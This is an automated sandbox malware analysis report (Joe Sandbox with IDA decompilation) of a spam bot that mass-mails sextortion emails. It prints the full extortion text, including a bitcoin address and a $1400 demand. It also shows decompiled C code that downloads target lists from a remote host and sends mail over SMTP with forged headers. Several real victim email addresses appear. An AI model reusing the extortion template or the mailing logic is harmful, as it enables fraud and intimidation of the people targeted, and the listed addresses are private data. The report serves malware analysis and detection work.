An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.., xrefs: 00EA21B3
I RECORDED YOU (through your camera) SATISFYING YOURSELF!, xrefs: 00EA2088
Be sure, I keep my promises!, xrefs: 00EA213B
I RECORDED YOU!, xrefs: 00EA1EAE
Check the sender of this email, I have sent it from your email account., xrefs: 00EA2060
Everything will be carried out based on fairness!, xrefs: 00EA219F
Message-ID: <%s.%s@%s>, xrefs: 00EA1F6F
After the transaction is successful, I will proceed to delete everything without delay., xrefs: 00EA20C4
My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX, xrefs: 00EA2163
You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun., xrefs: 00EA2074
Date: %s, xrefs: 00EA1EFF

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
String ID: %s.com$After the transaction is successful, I will proceed to delete everything without delay.$Afterwards, we can pretend that we have never met before.$All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).$An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches..$Be sure, I keep my promises!$Check the sender of this email, I have sent it from your email account.$Content-type: text/plain;$Date: %s$Everything will be carried out based on fairness!$From: %s$Hello there!$I RECORDED YOU (through your camera) SATISFYING YOURSELF!$I RECORDED YOU!$If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com$If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.$In addition, I assure you that all the harmful software will be deleted from your device.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX$My trojan allows me to access your accounts, your camera and microphone.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.$Subject: %s$To: %s$Unfortunately, there are some bad news for you.$Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE).$You are given not more than 48 hours after you have opened this email (2 days to be precise).$You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.
API String ID: 1336957093-984273515
Opcode ID: 2f0df371191c995738219cfd3443e0ccc8d515b1ea6171b37b3ccadfe1e095fe
Instruction ID: a3dc139ffedb456b26400be8e0cb1ed8cf0e7675f76cd764c3172d660c91fe27
Opcode Fuzzy Hash: 2f0df371191c995738219cfd3443e0ccc8d515b1ea6171b37b3ccadfe1e095fe
Instruction Fuzzy Hash: FAE1B4F2D002086BDB10DB94DC42FEA7379AFAD304F041599F6197A181F7B5BA988F61

Uniqueness

Uniqueness Score: -1.00%

Function 00EA23B0 Relevance: 61.4, APIs: 29, Strings: 6, Instructions: 178
sleepthreadfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00EA23B0(void* _a4) {
				short _v524;
				signed int _v528;
				short _v1052;
				long _v1572;
				short _v2092;
				char _v2356;
				int _v2360;
				int _v2364;
				char* _t59;
				char* _t66;
				int _t67;
				signed int _t70;
				signed int _t74;
				signed int _t76;
				signed int _t78;
				int _t83;
				int _t85;
				signed int _t88;
				void* _t122;
				void* _t134;
				void* _t139;

				memcpy( &_v2356, _a4, 0x41 << 2);
				srand(GetTickCount());
				E00EA2660(0,  &_v2092, 0, 0x104);
				E00EA2660( &_v1572,  &_v1572, 0, 0x104);
				E00EA2660( &_v1572,  &_v1052, 0, 0x104);
				E00EA2660( &_v1572,  &_v524, 0, 0x104);
				memset("[102.129.143.99]", 0, 0x1f4);
				_t59 = E00EA17D0(); // executed
				strcpy("[102.129.143.99]", _t59);
				ExpandEnvironmentStringsW(L"%temp%",  &_v2092, 0x104);
				mbstowcs( &_v1572,  &_v2356, 0x105);
				wsprintfW( &_v1052, L"%sn.txt",  &_v1572);
				_t66 = E00EA18D0(0,  &_v1052, 0); // executed
				_t67 = atoi(_t66);
				_t134 = _t122 + 0x7c;
				_v528 = _t67;
				if(_v528 <= 0) {
					ExitThread(0);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					Sleep(0x3e8); // executed
					E00EA2660( &_v524,  &_v524, 0, 0x104);
					E00EA2660( &_v524, "C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg", 0, 0x104);
					_t70 = rand();
					asm("cdq");
					wsprintfW( &_v524, L"%s%d.txt",  &_v1572, _t70 % _v528 + 1);
					_t74 = rand();
					asm("cdq");
					_t76 = rand();
					asm("cdq");
					_t78 = rand();
					asm("cdq");
					wsprintfW("C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg", L"%s\\%d%d%d.jpg",  &_v2092, _t78 % 0x7fff + 0x3e8, _t76 % 0x7fff + 0x3e8, _t74 % 0x7fff + 0x3e8);
					E00EA18D0(1,  &_v524, "C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg"); // executed
					_t139 = _t134 + 0x4c;
					_t83 = PathFileExistsW("C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg"); // executed
					if(_t83 == 0) {
						goto L7;
					}
					_v2364 = 0;
					while(_v2364 < 0xbb8) {
						CreateThread(0, 0, E00EA2280, 0, 0, 0); // executed
						_t88 = rand();
						asm("cdq");
						Sleep(_t88 % 0x32 + 0x32); // executed
						_v2364 = _v2364 + 1;
					}
					DeleteFileW("C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg");
					L7:
					_t85 = atoi(E00EA18D0(0,  &_v1052, 0));
					_t134 = _t139 + 0x10;
					_v2360 = _t85;
					if(_v2360 >= 1) {
						continue;
					}
					ExitProcess(0);
				}
			}

0x00ea23c9
0x00ea23d2
0x00ea23e8
0x00ea23fe
0x00ea2414
0x00ea242a
0x00ea243e
0x00ea2446
0x00ea2451
0x00ea246a
0x00ea2483
0x00ea249e
0x00ea24b2
0x00ea24bb
0x00ea24c0
0x00ea24c3
0x00ea24d0
0x00ea264c
0x00000000
0x00000000
0x00000000
0x00ea24d6
0x00ea24d6
0x00ea24db
0x00ea24ef
0x00ea2503
0x00ea250b
0x00ea2510
0x00ea252e
0x00ea2537
0x00ea253c
0x00ea254b
0x00ea2550
0x00ea255f
0x00ea2564
0x00ea2584
0x00ea259b
0x00ea25a0
0x00ea25a8
0x00ea25b0
0x00000000
0x00000000
0x00ea25b2
0x00ea25cd
0x00ea25e8
0x00ea25ee
0x00ea25f3
0x00ea25ff
0x00ea25c7
0x00ea25c7
0x00ea260c
0x00ea2612
0x00ea2626
0x00ea262b
0x00ea262e
0x00ea263b
0x00000000
0x00ea2645
0x00ea263f
0x00ea263f

APIs

GetTickCount.KERNEL32 ref: 00EA23CB
srand.MSVCR90 ref: 00EA23D2
_wmemset.LIBCPMTD ref: 00EA23E8
_wmemset.LIBCPMTD ref: 00EA23FE
_wmemset.LIBCPMTD ref: 00EA2414
_wmemset.LIBCPMTD ref: 00EA242A
memset.MSVCR90 ref: 00EA243E

Part of subcall function 00EA17D0: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00EA17E3
Part of subcall function 00EA17D0: InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00EA1807
Part of subcall function 00EA17D0: InternetReadFile.WININET(00000000,?,00000063,?), ref: 00EA1824
Part of subcall function 00EA17D0: wsprintfA.USER32 ref: 00EA1860
Part of subcall function 00EA17D0: InternetCloseHandle.WININET(00000000), ref: 00EA1882
Part of subcall function 00EA17D0: InternetCloseHandle.WININET(?), ref: 00EA18A1

strcpy.MSVCR90([102.129.143.99],00000000), ref: 00EA2451
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00EA246A
mbstowcs.MSVCR90 ref: 00EA2483
wsprintfW.USER32 ref: 00EA249E

Part of subcall function 00EA18D0: memset.MSVCR90 ref: 00EA18E2
Part of subcall function 00EA18D0: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00EA18F7
Part of subcall function 00EA18D0: InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EA191A
Part of subcall function 00EA18D0: CreateFileW.KERNELBASE(00EA24B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00EA1949
Part of subcall function 00EA18D0: InternetReadFile.WININET(00000000,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,000003FF,00EA24B7), ref: 00EA196A
Part of subcall function 00EA18D0: WriteFile.KERNELBASE(000000FF,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,00000000,00000000,00000000), ref: 00EA198D
Part of subcall function 00EA18D0: CloseHandle.KERNEL32(000000FF), ref: 00EA1999
Part of subcall function 00EA18D0: InternetCloseHandle.WININET(00000000), ref: 00EA19BD
Part of subcall function 00EA18D0: InternetCloseHandle.WININET(00000000), ref: 00EA19C7

atoi.MSVCR90 ref: 00EA24BB
Sleep.KERNELBASE(000003E8), ref: 00EA24DB
_wmemset.LIBCPMTD ref: 00EA24EF
_wmemset.LIBCPMTD ref: 00EA2503
rand.MSVCR90 ref: 00EA250B
wsprintfW.USER32 ref: 00EA252E
rand.MSVCR90 ref: 00EA2537
rand.MSVCR90 ref: 00EA254B
rand.MSVCR90 ref: 00EA255F
wsprintfW.USER32 ref: 00EA2584

Part of subcall function 00EA18D0: InternetReadFile.WININET(00000000,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,000003FF,00EA24B7), ref: 00EA19B3

PathFileExistsW.SHLWAPI(C:\Users\user\AppData\Local\Temp\29997219412047.jpg), ref: 00EA25A8
CreateThread.KERNELBASE(00000000,00000000,00EA2280,00000000,00000000,00000000), ref: 00EA25E8
rand.MSVCR90 ref: 00EA25EE
Sleep.KERNELBASE ref: 00EA25FF
DeleteFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\29997219412047.jpg), ref: 00EA260C
atoi.MSVCR90 ref: 00EA2626
ExitProcess.KERNEL32 ref: 00EA263F
ExitThread.KERNEL32 ref: 00EA264C

Strings

%temp%, xrefs: 00EA2465
C:\Users\user\AppData\Local\Temp\29997219412047.jpg, xrefs: 00EA24FE, 00EA257F, 00EA258D, 00EA25A3, 00EA2607
[102.129.143.99], xrefs: 00EA2439, 00EA244C
%s\%d%d%d.jpg, xrefs: 00EA257A
%sn.txt, xrefs: 00EA2492
%s%d.txt, xrefs: 00EA2522

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$C:\Users\user\AppData\Local\Temp\29997219412047.jpg$[102.129.143.99]
API String ID: 3135460431-2601120357
Opcode ID: 2ef66567bd836e082f0fc1d971a45d15dac50a1b2dca4a5bb5b6f9d77558d845
Instruction ID: a156a2fad1a87ed7a9a342f71caad27d89e645e53e2b7d8bc7e4fc83625db845
Opcode Fuzzy Hash: 2ef66567bd836e082f0fc1d971a45d15dac50a1b2dca4a5bb5b6f9d77558d845
Instruction Fuzzy Hash: 4C51F8F5D41304ABE714A764DC47FD93279AB9E705F0450A9F3097D0C2EAF477848A62

Uniqueness

Uniqueness Score: -1.00%

Function 00EA18D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EA18D0(signed char _a4, WCHAR* _a8, WCHAR* _a12) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _t23;
				void* _t27;
				void* _t32;
				int _t33;

				memset("ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com", 0, 0x400);
				_t23 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 1, 0, 0, 0); // executed
				_v24 = _t23;
				if(_v24 != 0) {
					_t27 = InternetOpenUrlW(_v24, _a8, 0, 0, 0, 0); // executed
					_v8 = _t27;
					if(_v8 != 0) {
						if((_a4 & 0x000000ff) != 1) {
							InternetReadFile(_v8, "ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com", 0x3ff,  &_v20); // executed
						} else {
							_t32 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0); // executed
							_v12 = _t32;
							if(_v12 != 0xffffffff) {
								while(1) {
									_t33 = InternetReadFile(_v8, "ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com", 0x3ff,  &_v20); // executed
									if(_t33 == 0 || _v20 == 0) {
										break;
									}
									WriteFile(_v12, "ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com", _v20,  &_v16, 0); // executed
								}
								CloseHandle(_v12);
							}
						}
					}
					InternetCloseHandle(_v8); // executed
				}
				InternetCloseHandle(_v24);
				return 0xea6120;
			}

0x00ea18e2
0x00ea18f7
0x00ea18fd
0x00ea1904
0x00ea191a
0x00ea1920
0x00ea1927
0x00ea1934
0x00ea19b3
0x00ea1936
0x00ea1949
0x00ea194f
0x00ea1956
0x00ea1958
0x00ea196a
0x00ea1972
0x00000000
0x00000000
0x00ea198d
0x00ea198d
0x00ea1999
0x00ea1999
0x00ea199f
0x00ea1934
0x00ea19bd
0x00ea19bd
0x00ea19c7
0x00ea19d5

APIs

memset.MSVCR90 ref: 00EA18E2
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00EA18F7
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EA191A
CreateFileW.KERNELBASE(00EA24B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00EA1949
InternetReadFile.WININET(00000000,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,000003FF,00EA24B7), ref: 00EA196A
WriteFile.KERNELBASE(000000FF,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,00000000,00000000,00000000), ref: 00EA198D
CloseHandle.KERNEL32(000000FF), ref: 00EA1999
InternetReadFile.WININET(00000000,ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com,000003FF,00EA24B7), ref: 00EA19B3
InternetCloseHandle.WININET(00000000), ref: 00EA19BD
InternetCloseHandle.WININET(00000000), ref: 00EA19C7

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00EA18F2
ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com, xrefs: 00EA18DD, 00EA1961, 00EA1984, 00EA19AA, 00EA19CD

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$ight0@gmail.comviktorija.pozingyte@gmail.comkjgnebre@yahoo.commanikat1@hotmail.comewilliams.mba2004@london.edusyasha93@gmail.commohit_nj@yahoo.comshyam_1224@yahoo.inagervej19@gmail.comradwad2002@yahoo.co.ukedenjakota@hotmail.comakbar78678@gmail.com
API String ID: 4022733741-1907809196
Opcode ID: dec573f71798e3428039294bf831fa5d4a060ffa625b430a2e6bc1cd7690820c
Instruction ID: 4a369acc62915e8df5050c25616b5c28fd5f44e9908311c9941a8f9b800e8388
Opcode Fuzzy Hash: dec573f71798e3428039294bf831fa5d4a060ffa625b430a2e6bc1cd7690820c
Instruction Fuzzy Hash: 86313CB0A40308BFEB10DBA0DC5AFAF7B78AB9E701F205154B6117A1D0D7B0BA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EA2280 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00EA2280() {
				char _v268;
				char _v532;
				struct _IO_FILE* _v536;
				long _v540;
				signed char _v544;
				int _t18;
				char* _t26;
				signed char _t28;
				void* _t38;
				void* _t40;
				signed long long _t48;

				_t18 = GetTickCount();
				srand(_t18);
				_push("r");
				_push("C:\Users\Albus\AppData\Local\Temp\29997219412047.jpg"); // executed
				L00EA27F0(); // executed
				_t40 = _t38 + 0xc;
				_v536 = _t18;
				if(_v536 == 0) {
					L7:
					E00EA1400( &_v532);
					if(E00EA18B0( &_v532, "@") != 0 && E00EA18B0( &_v532, ".") != 0) {
						_push(0xea442e);
						E00EA19E0( &_v532); // executed
					}
					ExitThread(0);
				}
				_v540 = 0;
				while(1) {
					_t26 = fgets( &_v268, 0x104, _v536); // executed
					_t40 = _t40 + 0xc;
					if(_t26 == 0) {
						break;
					}
					_v540 = _v540 + 1;
					_t28 = rand();
					_v544 = _t28;
					asm("fild dword [ebp-0x21c]");
					_t48 = _t48 /  *0xea4d00;
					asm("fild dword [ebp-0x218]");
					asm("fld1");
					asm("fdivrp st1, st0");
					asm("fcompp");
					asm("fnstsw ax");
					if((_t28 & 0x00000001) == 0) {
						strcpy( &_v532,  &_v268);
						_t40 = _t40 + 8;
					}
				}
				fclose(_v536);
				_t40 = _t40 + 4;
				goto L7;
			}

0x00ea2289
0x00ea2290
0x00ea2298
0x00ea229d
0x00ea22a2
0x00ea22a7
0x00ea22aa
0x00ea22b7
0x00ea2346
0x00ea234d
0x00ea236b
0x00ea2385
0x00ea2391
0x00ea2396
0x00ea239b
0x00ea239b
0x00ea22bd
0x00ea22c7
0x00ea22da
0x00ea22df
0x00ea22e4
0x00000000
0x00000000
0x00ea22ef
0x00ea22f5
0x00ea22fa
0x00ea2300
0x00ea2306
0x00ea230c
0x00ea2312
0x00ea2314
0x00ea2316
0x00ea2318
0x00ea231d
0x00ea232d
0x00ea2332
0x00ea2332
0x00ea2335
0x00ea233e
0x00ea2343
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00EA2289
srand.MSVCR90 ref: 00EA2290
_wfopen.MSVCR90 ref: 00EA22A2
fgets.MSVCR90 ref: 00EA22DA
rand.MSVCR90 ref: 00EA22F5
strcpy.MSVCR90(?,?), ref: 00EA232D
fclose.MSVCR90 ref: 00EA233E
ExitThread.KERNEL32 ref: 00EA239B

Strings

C:\Users\user\AppData\Local\Temp\29997219412047.jpg, xrefs: 00EA229D

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpy
String ID: C:\Users\user\AppData\Local\Temp\29997219412047.jpg
API String ID: 3964472883-2679524889
Opcode ID: c0074f257c7ffb63d27c9e1fffe466049788c93f8081942afa5068d8fa622ca3
Instruction ID: 8648ffaa517120b75bf842a7eb9ce9d26649cd9124029de4c9aeef3da974cf1e
Opcode Fuzzy Hash: c0074f257c7ffb63d27c9e1fffe466049788c93f8081942afa5068d8fa622ca3
Instruction Fuzzy Hash: 2021F7F5C8031C57CB10A764DD8ABD972B86B6E305F0414E8B60979181FAB4BBC8CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1B2D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrA.SHLWAPI(?), ref: 00EA1B34
wsprintfA.USER32 ref: 00EA1B4F
wsprintfA.USER32 ref: 00EA1B71
shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

HELO %s, xrefs: 00EA1B65
[102.129.143.99], xrefs: 00EA1B3E, 00EA1B60
EHLO %s, xrefs: 00EA1B43

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: wsprintf$closesocketshutdown
String ID: EHLO %s$HELO %s$[102.129.143.99]
API String ID: 4205972133-3055200391
Opcode ID: 16605fc741b1eef4950a6a813beb10269b1c591c14fcfb649f9afc6a969e87a5
Instruction ID: 5f0a254b5512c5ba0ef2f86025b8c79a79ff98b48e4829987677ff32c75dedbe
Opcode Fuzzy Hash: 16605fc741b1eef4950a6a813beb10269b1c591c14fcfb649f9afc6a969e87a5
Instruction Fuzzy Hash: 442153F5D00218DFCB10CBA4DC45BEE77B8BB9E348F0451A9E6097A181E7747554CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1BB6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00EA1BB6(void* __eflags) {
				void* _t170;
				intOrPtr _t174;
				void* _t175;
				void* _t200;
				void* _t202;
				void* _t205;
				void* _t207;

				L0:
				while(1) {
					L0:
					wsprintfA(_t200 - 0x88, "<%s>",  *((intOrPtr*)(_t200 + 8)));
					 *((intOrPtr*)(_t200 - 0x498)) = wsprintfA(_t200 - 0x490, "MAIL FROM: %s\r\n", _t200 - 0x88);
					_t170 = E00EA1120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *((intOrPtr*)(_t200 - 0x498))); // executed
					_t205 = _t202 + 0x24;
					if(_t170 != 0) {
						 *(_t200 - 0x20) = 4;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t200 - 0x20) != 0 &&  *(_t200 - 0x20) != 8) {
						_t174 = E00EA1160( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490, 0x400); // executed
						_t207 = _t205 + 0xc;
						 *((intOrPtr*)(_t200 - 0x90)) = _t174;
						if( *((intOrPtr*)(_t200 - 0x90)) != 0) {
							L5:
							 *((char*)(_t200 +  *((intOrPtr*)(_t200 - 0x90)) - 0x490)) = 0;
							_t175 = E00EA11C0(_t200 - 0x490);
							_t205 = _t207 + 4;
							if(_t175 != 0) {
								L7:
								 *(_t200 - 0x718) =  *(_t200 - 0x20);
								 *(_t200 - 0x718) =  *(_t200 - 0x718) - 1;
								if( *(_t200 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t200 - 0x718) * 4 +  &M00EA223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t200 - 0x490) == 0) {
											_t179 = wsprintfA(_t200 - 0x490, "HELO %s\r\n", "[102.129.143.99]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t179;
										} else {
											_t182 = wsprintfA(_t200 - 0x490, "EHLO %s\r\n", "[102.129.143.99]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t182;
										}
										_t181 = E00EA1120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *(_t200 - 0x494)); // executed
										_t205 = _t208 + 0xc;
										if(_t181 != 0) {
											 *(_t200 - 0x20) = 3;
										} else {
											 *(_t200 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										goto L0;
									case 3:
										L18:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
